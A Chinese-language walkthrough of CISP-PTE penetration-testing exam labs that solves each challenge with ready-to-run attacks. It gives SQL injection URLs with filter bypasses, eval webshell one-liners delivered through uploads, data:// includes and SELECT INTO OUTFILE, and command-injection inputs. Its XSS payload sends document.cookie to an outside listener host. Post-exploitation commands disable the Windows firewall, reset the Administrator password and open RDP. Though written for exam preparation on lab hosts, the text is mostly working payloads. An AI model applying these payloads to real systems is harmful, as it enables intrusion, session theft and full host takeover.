Bootstrap

CISP-PTE八套真题详解(侵删)

前言

最近考cisp-pte ,把八套真题详细做了一遍,侵权的话请联系删除!!!
第一套题目:
34071-34075
第二套题目:
34041-34045
第三套题目:
34031-34035
第四套题目:
34021-34025 34214
第五套题目:
34011-34015
第六套题目:
34051 34061 34213 34223 34224 34234
第一套综合题:
11.1.10.81-86
第二套综合题:
11.1.10.71-76

第一套题目

34071-34075

sql注入

11.1.10.11:34071
在这里插入图片描述
点击开始答题,有一篇文章,文章末尾有代码
在这里插入图片描述
根据代码,我们猜测是要对uuid这个参数进行注入,并且过滤了#和–两种注释的方法

方法一:sqlmap一把梭,一步一步注入出key1
在这里插入图片描述
方法二:手注
由于两种注释方法被过滤了,根据给出的代码,我们尝试使用单引号将最后的单引号进行闭合
尝试 order by '9999
在这里插入图片描述
发现页面回显正常,说明order by并没有生效

所以我们跳过order by 直接尝试进行union select
在这里插入图片描述

发现页面显示无数据,说明union select被执行了,接下来我们手动判断有几个字段

在这里插入图片描述
当输入到6的时候,页面返回正常,并且发现两个回显点为 2 和 3
我们开始查询数据

查询数据库
http://11.1.10.11:34071/start/index.php?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' union select '1',database(),'3','4','5','6

在这里插入图片描述

查询表(我这里直接使用了火狐的插件进行构造sql语句,很方便)
http://11.1.10.11:34071/start/index.php?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' union select '1',(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x32776562),'3','4','5','6

在这里插入图片描述

查询列
http://11.1.10.11:34071/start/index.php?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' union select '1',(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x49535f4b4559),'3','4','5','6

在这里插入图片描述

查询数据
http://11.1.10.11:34071/start/index.php?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' union select '1',(SELECT+GROUP_CONCAT(haha+SEPARATOR+0x3c62723e)+FROM+2web.IS_KEY),'3','4','5','6

在这里插入图片描述

文件上传

在这里插入图片描述
直接先上传一个图片马试试
在这里插入图片描述

发现上传失败,猜测可能是对内容做了限制,找一个免杀马试试
在这里插入图片描述

在这里插入图片描述
上传成功,执行一个phpinfo(); 试试
在这里插入图片描述
执行成功,说明生效了,直接使用蚁剑连接,找到key
在这里插入图片描述

文件包含

在这里插入图片描述
在这里插入图片描述
我们发现url中输入了hello ,页面请求到的是hello.txt ,说明后端会给page中的参数强制加上一个.txt
面对这种情况,我们尝试使用data协议进行写一个phpinfo试试看能否执行

page=data://text/plan,<?php phpinfo(); ?>

在这里插入图片描述
发现data://没了,phpinfo代码也没了,查看源代码,发现phpinfo代码还在,只是没有被执行

在这里插入图片描述
我们猜测data://是被替换为空,我们进行双写尝试绕过

page=datdata://a://text/plan,<?php phpinfo(); ?>

在这里插入图片描述
成功执行,然后把phpinfo改为一句话木马,使用菜刀连接
在上层目录发现key
在这里插入图片描述

反序列化漏洞

在这里插入图片描述
在这里插入图片描述
打开题目,发现一段php代码,说明考察代码审计

unserialize是PHP的反序列化函数,根据代码含义,我们需要get提交一个str变量,反序列化后等于temp这段字符串
所以我们只需要知道temp这段字符串序列化之后的内容即可

我们手写一个php文件,就可以得到序列化之后的内容了:

<?php
$TEMP = "Whatever is worth doing is worth doing well.";
echo serialize($TEMP)
?>

由于我们考试过程中没有自己的php环境,所以我们在蚁剑中对上一题的目录写入一个php文件,再访问一下:
在这里插入图片描述
在这里插入图片描述
成功得到序列化之后的内容
使用get方式提交str参数,成功得到key

http://11.1.10.11:34074/start/index.php?str=s:44:"Whatever is worth doing is worth doing well.";

在这里插入图片描述

失效的访问控制

在这里插入图片描述
在这里插入图片描述
访问题目,发现只允许本地访问,直接想到XFF使用IP欺骗

X-Forwarded-For: 127.0.0.1

使用burp抓包,添加xff内容:
在这里插入图片描述
放包发现页面显示当前用户为guest,没有权限查看key

在这里插入图片描述
然后查看之前的数据包,cookie中存在Username参数,使用base64解码后发现正是Guest,于是我们只需要修改这个Username的值,并且将IsAdmin改为true,应该就可以实现越权了
修改数据包后,成功得到key5:

在这里插入图片描述

第二套题目

34041-34045

sql注入

在这里插入图片描述
根据题目,答案在 /tmp/360/key 中
进入题目环境,很明显,我们要注入id,并且害给出了当前执行的sql语句
在这里插入图片描述
根据给出的sql语句,我们使用 ') 进行闭合,页面无回显内容
使用#进行注释,发现#被过滤了,使用#的url编码%23试试,页面回显正常
在这里插入图片描述
使用order by进行查询字段数,发现空格被过滤了,使用/**/代替空格,到5的时候没有回显,说明有4个字段

在这里插入图片描述

进行union select查询回显点
在这里插入图片描述
发现union被过滤了,尝试大小写绕过和双写绕过
在这里插入图片描述

发现使用双写可以成功绕过,234均为回显点

我们使用load_file() 直接读取/tmp/360/key

load_file('/tmp/360/key')

在这里插入图片描述

文件上传

在这里插入图片描述
在这里插入图片描述
上传一个图片马试试,发现上传成功
在burp中改图片马后缀为.pht
在这里插入图片描述
发现上传成功,直接使用蚁剑连接找key
在这里插入图片描述

文件包含

在这里插入图片描述
在这里插入图片描述
文件包含的几种方式挨个尝试吧
直接包含,失败
绝对路径,失败
目录穿越,失败
远程包含,失败
data协议写shell,使用蚁剑连接成功

http://11.1.10.11:34043/vulnerabilities/fu1.php?file=data://text/plan,<?php eval($_POST[pass]);?>

在这里插入图片描述
或者使用phpfilter查看源码

file=php://filter/read=convert.base64-encode/resource=../key.php

在这里插入图片描述

命令执行

在这里插入图片描述
在这里插入图片描述

127.0.0.1|cat …/key.php
发现cat命令被过滤,问题不大,学了十来种读文件命令了
在这里插入图片描述
使用sed直接成功(这个比较好记,哈哈)

127.0.0.1|sed ' ' ../key.php

查看源代码发现key
在这里插入图片描述

日志分析

在这里插入图片描述
将日志放到自己新建的txt中,使用notepad++进行筛选内容,直接找出所有含有200的行
在这里插入图片描述
在这里插入图片描述
然后再翻一下,发现了好几个路径,一眼看到存在admin的登录路径
在这里插入图片描述
访问后成功进入admin的登录页面,我们尝试进行爆破
在这里插入图片描述
成功跑出密码
在这里插入图片描述
登录成功后获得key
(也可以使用正则表达式做这个题,下一个日志分析就使用了正则)
在这里插入图片描述

第三套题目

34031-34035

SQL注入

在这里插入图片描述
在这里插入图片描述
有注册用户功能,那我们俩先注册个用户进去看看
在这里插入图片描述
有个重置密码的功能点
我们通过注册正常的用户名和测试注入的用户名进行比较
在这里插入图片描述
比较发现注入点存在重置密码的地方,但存在注入的参数是用户名,也就是说注入点和回显点不一样
根据重置密码的sql语句进行构造
我们想要重置admin的密码,只需要注册一个admin’# 即可
username = ’ admin’#’
井号会将后面的单引号注释,成功修改admin的密码

在这里插入图片描述

文件上传

在这里插入图片描述
上传图片马失败,猜测对内容做了过滤,将图片马中的一句话木马改为免杀马,上传成功
修改后缀为.pht ,上传成功
在这里插入图片描述
但是访问时发现没有被当成php执行
在这里插入图片描述
修改后缀为php,上传成功,并且成功解析了
(我还以为会过滤php的,没想到没过滤)
蚁剑连接发现key
在这里插入图片描述

文件包含

在这里插入图片描述
在这里插入图片描述
尝试了本地包含、目录穿越、远程包含、data协议等多种方法后还是没出来
直接访问一下view.html 看看有没有什么别的东西
查看源代码,果然有东西
在这里插入图片描述
接下来就是代码审计了
isset()函数用于检测变量是否已设置并且非 NULL
代码中base64解码出来是一个base64的一句话木马

[@eval(base64_decode($_POST[z0]));]

根据代码,需要我们提交一个Hello参数,参数的值为多少都行,然后我们可以通过提交z0参数的base64值进行执行命令
先用phpinfo(); 试一下:
在这里插入图片描述
发现执行成功
那么直接写个查看key文件的系统命令(记得最后要加分号)
system(‘cat …/key.php’);

在这里插入图片描述
在源代码中找到key
在这里插入图片描述

代码审计

在这里插入图片描述
在这里插入图片描述
既然是代码审计,那就直接看代码
如果我们给cmd赋值并且长度小于等于30,exec就会执行我们的命令
但要注意,exec只会执行命令,不会返回结果
对于这种情况,我们可以使用重定向符,将命令执行的内容重定向到一个文件中,我们通过访问这个文件就可以看到命令执行的结果了,先来个ls试试

http://11.1.10.11:34034/start/vul.php?cmd=ls > x.html

直接发现key
在这里插入图片描述

命令执行

在这里插入图片描述
在这里插入图片描述
127.0.0.1|ls 失败
127.0.0.1| 失败
看来是直接把管道符给过滤了
我们尝试使用 &&
127.0.0.1 && ls 失败
难道&&也过滤了?
127.0.0.1 && 没有显示失败
说明 && 没有被过滤,是ls被过滤了
127.0.0.1 && pwd 成功
在这里插入图片描述
最后发现是过滤了php ,太坑了
使用星号进行匹配,成功得到key
127.0.0.1 && sed ’ ’ …/key.ph*
在这里插入图片描述

第四套题目

34021-34025 34214

SQL注入

和第三套题差不多,只不过将admin’# 给注册了,我们在#后面随便加点字符串就行了
注册一个admin’#123 登录后修改的密码就是admin的密码
在这里插入图片描述

文件上传

和上套题一样, 使用免杀马进行上传php文件,使用蚁剑进行连接
在这里插入图片描述
在这里插入图片描述

文件包含

和上套题一样的
直接访问被包含的文件,源代码发现有代码,通过代码审计,执行命令

Hello=1&z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==

在这里插入图片描述

日志分析

在这里插入图片描述
日志分析,我们要筛选出状态码为200 的日志,推荐使用正则的方式进行筛选
(一定要注意空格,没有空格的地方不要加空格,否则匹配不上)

^.*"[A-Z]+ /.*\.php.*" 200

匹配后有289条,还是有点多,大概看了一下,有很多index、manager、footer、upload的路径,访问这四个路径后,发现均没有可以利用的地方,所以我们修改正则,将这四个路径去掉
?!index 表示不匹配index

^.*"[A-Z]+ /(?!(index|manage|footer|upload)).*\.php.*" 200

匹配到了126条,发现匹配到了index,原来有的index前面有两个/ ,我们知道一个/和两个/访问的都是同一个页面,所以我们使用 /? 将两个/的index也筛选掉
/? 表示/可能有可能没有

^.*"[A-Z]+ /(?!/?(index|manage|footer|upload)).*\.php.*" 200

正则筛选后就只剩下四条了
在这里插入图片描述
我们一眼看到/admin/backdoor.php 的路径,很可疑,访问一下,获得key
在这里插入图片描述

命令执行

127.0.0.1|sed ' ' ../key.php

成功获得key

代码审计

34214
在这里插入图片描述
在这里插入图片描述

对代码进行分析:

<?php
$v1 = 0;
$v2 = 0;

//使用get方法传递一个名为w的参数
//这个参数的内容是一个json格式的数组
$a = (array)json_decode(@$_GET['w']);
if (is_array($a)) {

    //这个数组有一个名为bar1的元素
	//这个bar1的元素的内容,不能是数字
    is_numeric(@$a["bar1"]) ? die("nope") : NULL;
	
	//这个bar1的元素的内容,不能是0、空、false
    if (@$a["bar1"]) {
		
		//这个bar1的元素的内容,要大于2020
        ($a["bar1"] > 2020) ? $v1 = 1 : NULL;
    }
	
	"bar1":"8023x"
	
	//bar2元素的内容是一个数组
    if (is_array(@$a["bar2"])) {
	
		//Bar2元素数组内容的个数是5
		//bar2元素数组中第0个元素是数组
        if (count($a["bar2"]) != 5 or !is_array($a["bar2"][0])) {
            die("nope");
        }
		
		"bar2":[[0],1,2,3,4]
		
		//bar3元素也是一个数组
        $pos = array_search("cisp-pte", $a["bar3"]);
		
		//bar3元素里一定有一个cisp-pte的元素
        $pos === false ? die("nope") : NULL;
		
		"bar3":["cisp-pte"]
		
		//bar2数组种不能有元素的内容是cisp-pte
        foreach ($a["bar2"] as $key => $val) {
            $val == "cisp-pte" ? die("nope") : NULL;
        }
        $v2 = 1;
    }
}

//v1和v2都为真(非0、非空、非false)时,输出本题答案
if ($v1 && $v2) {
    include "key.php";
    echo $key;
}
highlight_file(__file__);

//构造的json数据如下:
{"bar1":"8023x","bar2":[[0],1,2,3,4],"bar3":["cisp-pte"]}

在这里插入图片描述

第五套题目

sql注入:我是差不多先生

11.1.10.11:34011
在这里插入图片描述

在这里插入图片描述

发现注册功能,注册一个test账号,进入后发现可以发表文章,在发表文章处使用多种闭合字符进行测试:
在这里插入图片描述
发现发布失败,使用title进行测试,依然失败,说明两个输入点多半都是注入点
使用burp进行抓包,
在这里插入图片描述
尝试构造一下sql语句,猜测sql语句为:

insert into aritcles(title,content) values('tit','con')

由于不同用户提交的文章是相互独立的,所以很可能有个user参数

insert into aritcles(title,content,user) values('tit','con','test')

这说明sql语句至少有这三个参数,可能会更多

在火狐浏览器中尝试使用 ')# 进行闭合
在这里插入图片描述
失败了,根据之前构造的sql语句,判断可能是由于参数不够导致列数不一致。
(因为#会将后面的内容注释掉,如果content参数后面还有参数就会被注释,导致列数不一致)

于是我们在content参数后面加上一个空值试试,发现成功了,说明content后面还有一个参数
在这里插入图片描述
虽然上面提交成功了,但是文章页面并没有我们发布的文章,说明最后一个字段可能是user字段,用来判断文章是谁发布的。
我们将之前加的空字段改为自己的用户名test1:
在这里插入图片描述
查看文章页面,发现文章发表成功了,说明我们的猜测是正确的,并且确定了sql语句中最后一个字段一定是用户名的,倒数第二个字段一定是content
在这里插入图片描述
为了判断倒数第三个字段是不是title,我们可以在title处进行构造闭合,看结果是否成功

title=123','123','test')#&content=test

在这里插入图片描述
文章发布成功,说明title确定为倒数第三个参数。

开始注入:
在content处使用database()进行查询数据库名

title=123',(database()),'test')#&content=test

在这里插入图片描述
查询出当前数据库名为 2web
然后使用sql查询语句查询表名
在这里插入图片描述

select group_concat(table_name) from information_schema.tables where table_schema='2web'
title=123',(select group_concat(table_name) from information_schema.tables where table_schema='2web'),'test')#&content=test

在这里插入图片描述
执行后发现失败了,可能存在一些过滤规则
使用大小写绕过和/**/绕过空格进行尝试
在这里插入图片描述

SElect/**/group_concat(table_name)/**/FRom/**/information_schema.tables/**/WHere/**/table_schema='2web'

在这里插入图片描述
绕过后发布成功,在文章处查看结果
在这里插入图片描述
查询出了三个表,根据题目所说,key是admin的密码,所以我们应该进一步查询users1表的内容,继续构造sql查询语句:

SElect/**/group_concat(column_name)/**/FRom/**/information_schema.columns/**/WHere/**/table_name='users1'

在这里插入图片描述
成功查询出两个列名,接下来我们直接查询password中admin所对应的值就行
在这里插入图片描述

SElect/**/group_concat(password)/**/FRom/**/users1/**/WHere/**/username='admin'

在这里插入图片描述
成功
在这里插入图片描述
扩展一下:如果#等注释字符被过滤的话该怎么办?
insert 可以同时插入多条语句,我们利用这个特性,可以将后面的语句进行闭合,成为另一个语句,先尝试使用 (’ 进行闭合

title=123','123','test'),('&content=test

发现失败了,失败的原因是什么呢?
我们之前使用的注释,只需要考虑从后往前的参数,不用考虑title前面有没有参数,现在注释不了了,就要考虑title前面是不是还有参数,我们假设title前面还有一个参数,我们在后面的括号中构造一个空值:

title=123','123','test'),(' ','&content=test

在这里插入图片描述
发现成功了,说明title之前确实还有一个参数,一共有四个参数。
sql语句应为:
在这里插入图片描述

insert into aritcles(xxx,title,content,user) values('x','title1','content1','user'),('x','title2','content2','user')

相当于一次发表两个文章,我们在title处填写

title1','content1','user'),('x','title2

相当于post提交:

title=title1','content1','test'),('x','title2&content=content2

在这里插入图片描述
在这里插入图片描述
成功发布了两篇文章。而且没有使用注释符号。
使用火狐中的插件更加方便,可以直接生成查询的payload:
(注意:使用post提交数据时,要将生成的payload中的+给换成空格)
在这里插入图片描述

文件上传

11.1.10.11:34012
在这里插入图片描述
在这里插入图片描述
上传正常一句话木马的图片马,发现上传失败
在这里插入图片描述
猜测可能对内容进行检测了
换一个免杀马,发现上传成功
在这里插入图片描述
后缀改为.pht 上传成功
在这里插入图片描述
尝试执行phpinfo(); ,成功!
在这里插入图片描述
使用蚁剑进行连接,在html目录下发现key.php,得到key
在这里插入图片描述
或者使用命令直接查询key.php文件
先ls看下key.php在哪个目录
在这里插入图片描述
在这里插入图片描述
查看源代码,发现key2
在这里插入图片描述

文件包含

在这里插入图片描述在这里插入图片描述
url为:http://11.1.10.11:34013/vulnerabilities/fu1.php?file=view.html
因为包含了view.html ,我们直接访问这个html文件:
http://11.1.10.11:34013/vulnerabilities/view.html在这里插入图片描述
查看源代码:
在这里插入图片描述
将base64内容放入txt中,使用notepad++进行解码

[@eval(base64_decode($_POST[z0]));]

接下来就是代码审计了
使用post方式提交一个Hello参数的值并赋给a
isset()函数用于检测变量是否已设置并且非 NULL
使用if判断a是否为空,不为空就执行下面的
preg_replace 函数,执行一个正则表达式的搜索和替换,/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码执行
所以通过z0可以执行命令,z0的值需要使用base编码
注意:提交参数时需要再一开始的题目页面进行提交

Hello=1&z0=system('cat ../key.php');
Hello=1&z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==

查看元素,发现key3
在这里插入图片描述

命令执行

127.0.0.1| sed ‘’ …/key.php 或者
127.0.0.1| grep ‘’ …/key.php
(注意sed和grep后面是两个单引号,不能用双引号)
在这里插入图片描述

验证码爆破

删除验证码和cookie,直接爆破即可
在这里插入图片描述

在这里插入图片描述
使用密码登录后获得key5
在这里插入图片描述

第六套题目

34051 34061 34213 34223 34224 34234

sql注入

在这里插入图片描述
这题考察万能密码,使用

admin '='  

成功登录,获得key
在这里插入图片描述
或者在密码处使用

'Or '1'='1

使用这个万能密码可以绕过用户名,不管用户名是不是admin都可以登录成功
原理如下:
在这里插入图片描述

sql注入

还是sql注入
根据sql语句提示,使用’)进行闭合,#被过滤了,使用–+进行注释
order by查询字段,发现有7个字段
在这里插入图片描述
union select 查询字段回显,发现union没了
在这里插入图片描述
使用双写绕过成功
在这里插入图片描述
使用load_file()查看key
在这里插入图片描述

XSS漏洞

在这里插入图片描述
做题思路是写个xss代码获取admin的cookie

<script>document.write('<img src="http://11.1.12.132:8023?' + document.cookie + '" />');</script>

nc开启监听:

nc -l -p 8023

在这里插入图片描述
看到PhantomJS就说明获取到了admin的key(仅限考试中作为参考)
使用火狐中的插件修改cookie
在这里插入图片描述
在这里插入图片描述

修改后访问admin页面,成功获得key
在这里插入图片描述

文件包含

34223
在这里插入图片描述
在这里插入图片描述
我们发现page后面的参数是hell,下面输出的是hello.txt,我们将page改为hello.txt试试
在这里插入图片描述
发现下面变成了hello.txt.txt,这说明系统会强制给page的参数最后加上.txt
这种情况我们尝试使用data协议进行绕过
在这里插入图片描述
phpinfo改成一句话木马:

http://11.1.10.11:34223/start/index.php?page=data://text/plan,<?php @eval($_POST["x"]);?>

蚁剑连接
在这里插入图片描述

或者使用远程包含也行

XSS漏洞

在这里插入图片描述
在这里插入图片描述

还是这段代码,需要背会!!!

<script>document.write('<img src="http://11.1.12.132:6789/?' + document.cookie + '"/>');</script>

在这里插入图片描述

代码审计

在这里插入图片描述
在这里插入图片描述
strtolower用于将字符串转换为小写字母
我们构造出语句进行闭合:

$o=strtolower("                ");
                ");system("ls

在这里插入图片描述
我们发现ls被成功执行了
在这里插入图片描述
然后就是查看key4.php

$o=strtolower("                         ");
                ");system("cat key4.php

在这里插入图片描述

综合题一

11.1.10.81-86
使用nmap进行扫描端口

nmap -p 1-65535 -T4 -A -v -Pn 11.1.10.81

在这里插入图片描述

扫描到了125端口

访问url,发现弹出一个窗口,说username is admin
我们尝试进行爆破密码
在这里插入图片描述
使用burp进行抓包
在这里插入图片描述
这段base64就是用户名密码的地方,我们进行解码
在这里插入图片描述
发现了格式为用户名冒号密码
然后我们进行爆破
使用自定义payload ,Custom iterator
第一个字段输入admin,下面的分隔填写分号
在这里插入图片描述
第二个字段选择我们的密码字典,不用填分隔符
在这里插入图片描述
添加base64编码
在这里插入图片描述
开始攻击,成功爆破出密码
在这里插入图片描述
使用密码进行登录,发现一个系统
在这里插入图片描述

查看源码看看有没有什么内容
在这里插入图片描述
发现注释里说这是静态页面,我们当然要试试才能相信,使用burp尝试抓登录的包,确实没有抓到数据包,说明这确实是静态页面
那么我们使用burp进行目录扫描,注意直接使用工具进行扫描没有我们的登录信息,所以扫描不到
在这里插入图片描述
选择这三个字典,并将url编码取消
在这里插入图片描述
扫出了三个200的状态码,我们在robots.txt中发现了key6
在这里插入图片描述
接下来我们去看看另外两个路径
/news/ 是一个留言系统
在这里插入图片描述
/images/ 就是几张图片,看来突破口就在留言系统上
在这里插入图片描述
我们先继续对/news/路径进行目录和文件的扫描
在这里插入图片描述
发现/phpmyadmin/路径,访问一下看看
在这里插入图片描述
发现没有设置密码,直接访问成功了

这里我们想要登录进这个系统有两种方法:
1.进行爆破密码
2.在phpmyadmin中直接修改admin用户的密码

这里我们都尝试一下:
1.进行爆破密码
虽然有验证码,但我们可以通过删除验证码和cookie的方式进行绕过验证码,成功爆破出admin的密码是admin
在这里插入图片描述
2.在phpmyadmin中直接修改admin用户的密码
通过在phpmyadmin中查找,找到了admin密码所在
在这里插入图片描述
看着应该是md5加密,注意 ,在考试中有以下几种加密方式,一个一个试就行:
md5 md5(md5) sha1 sha1(sha1)
像这个密码,我们使用md5爆破工具爆破不出来,一个不是单纯的md5
我们猜测是两次md5
在这里插入图片描述
我们在修改数据之前,一定要记得先把原来的数据在txt中保存一下,防止环境出问题了还原不了
我们将现在的密码保存一下,然后再进行修改
在这里插入图片描述
我这里将密码改为123456,然后进行两次md5编码
在这里插入图片描述
然后我们在系统登录页面使用修改后的密码进行登录
admin 123456
登录成功,并且发现了系统路径,先记着,之后可能会用上
在这里插入图片描述
接下来我们要想办法获取shell
我们现在可以访问phpmyadmin,还知道系统路径,所以我们采用sql语句写shell的方式写一个shell上去

SELECT '<?php @eval($_POST["x"]);?>' into outfile 'C:/wamp/www/shell.php'

在这里插入图片描述
使用蚁剑进行连接:
发现连接失败,突然想起来这个url是需要认证的,所以需要我们在蚁剑添加认证的参数:
在这里插入图片描述
连接成功,在目录中发现key7
在这里插入图片描述
最后一个key在桌面,所以需要我们进行远程桌面连接。
有三个条件:
1.开启3389端口
2.关闭防火墙
3.知道Administrator用户密码

开启端口我们可以使用工具中开启3389的bat脚本进行开启,将3389.bat通过蚁剑上传上去,使用终端进行运行
在这里插入图片描述
关闭防火墙我们使用蚁剑开启终端敲命令关闭即可

netsh firewall set opmode disable

在这里插入图片描述
在终端使用net命令修改密码

net user Administrator Xx1234..

在这里插入图片描述

然后使用远程桌面

mstsc

在这里插入图片描述
成功登录,在回收站的名字发现key8
在这里插入图片描述

综合题二

11.1.10.71-76
还是先扫描端口
我们选择扫描11.1.10.73
在这里插入图片描述
发现只扫描出了80端口,那我们直接访问,发现需要登录认证
在这里插入图片描述
这里和综合题一的方法一样,使用burp爆破
在这里插入图片描述
进入后直接发现key6
在这里插入图片描述
然后这还是一个登录的页面,我们依然使用burp进行爆破
在这里插入图片描述
进入后发现存在图片上传的地方,那么直接尝试进行上传shell
在这里插入图片描述
上传shell1.php
在这里插入图片描述
使用phpinfo测试成功在这里插入图片描述
使用蚁剑进行连接,记得添加认证信息
在这里插入图片描述
连接后在www目录下找到key7
在这里插入图片描述
最后一个key在桌面,于是我们重复之前的操作
1.开始3389
在这里插入图片描述

2.关闭防火墙
在这里插入图片描述

3.修改Administrator密码
在这里插入图片描述

使用远程桌面连接

mstsc

在这里插入图片描述
在回收站中发现key8

;